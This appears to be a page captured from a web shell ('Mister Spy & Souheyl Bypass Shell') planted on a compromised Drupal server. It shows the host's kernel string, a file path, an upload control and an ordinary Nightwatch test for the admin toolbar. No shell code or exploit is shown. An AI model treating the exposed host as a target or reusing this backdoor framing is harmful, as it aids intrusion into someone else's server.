Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/konvbav/web/core/modules/navigation/tests/src/Nightwatch/Tests/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/konvbav/web/core/modules/navigation/tests/src/Nightwatch/Tests/expandCollapseTest.js

const selectors = {
  expandButton: {
    expanded: '.admin-toolbar__expand-button[aria-expanded=true]',
    collapsed: '.admin-toolbar__expand-button[aria-expanded=false]',
  },
  htmlAttribute: {
    expanded: '[data-admin-toolbar="expanded"]',
    collapsed: '[data-admin-toolbar="collapsed"]',
  },
};

module.exports = {
  '@tags': ['core', 'navigation'],
  browser(browser) {
    browser
      .drupalInstall()
      .drupalInstallModule('navigation', true)
      .setWindowSize(1220, 800);
  },
  after(browser) {
    browser.drupalUninstall();
  },

  'Expand/Collapse': (browser) => {
    browser.drupalLoginAsAdmin(() => {
      browser
        .drupalRelativeURL('/')
        .waitForElementPresent(
          '[data-once="admin-toolbar-document-triggers-listener"][data-admin-toolbar="expanded"]',
        )
        // This pause required to wait for first init event.
        .waitForElementVisible(selectors.expandButton.expanded)
        .click(selectors.expandButton.expanded)
        .waitForElementNotPresent(selectors.expandButton.expanded)
        .waitForElementPresent(selectors.expandButton.collapsed)
        .waitForElementPresent(selectors.htmlAttribute.collapsed)
        .click(selectors.expandButton.collapsed)
        .waitForElementPresent(selectors.expandButton.expanded)
        .waitForElementPresent(selectors.htmlAttribute.expanded);
    });
  },
};

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net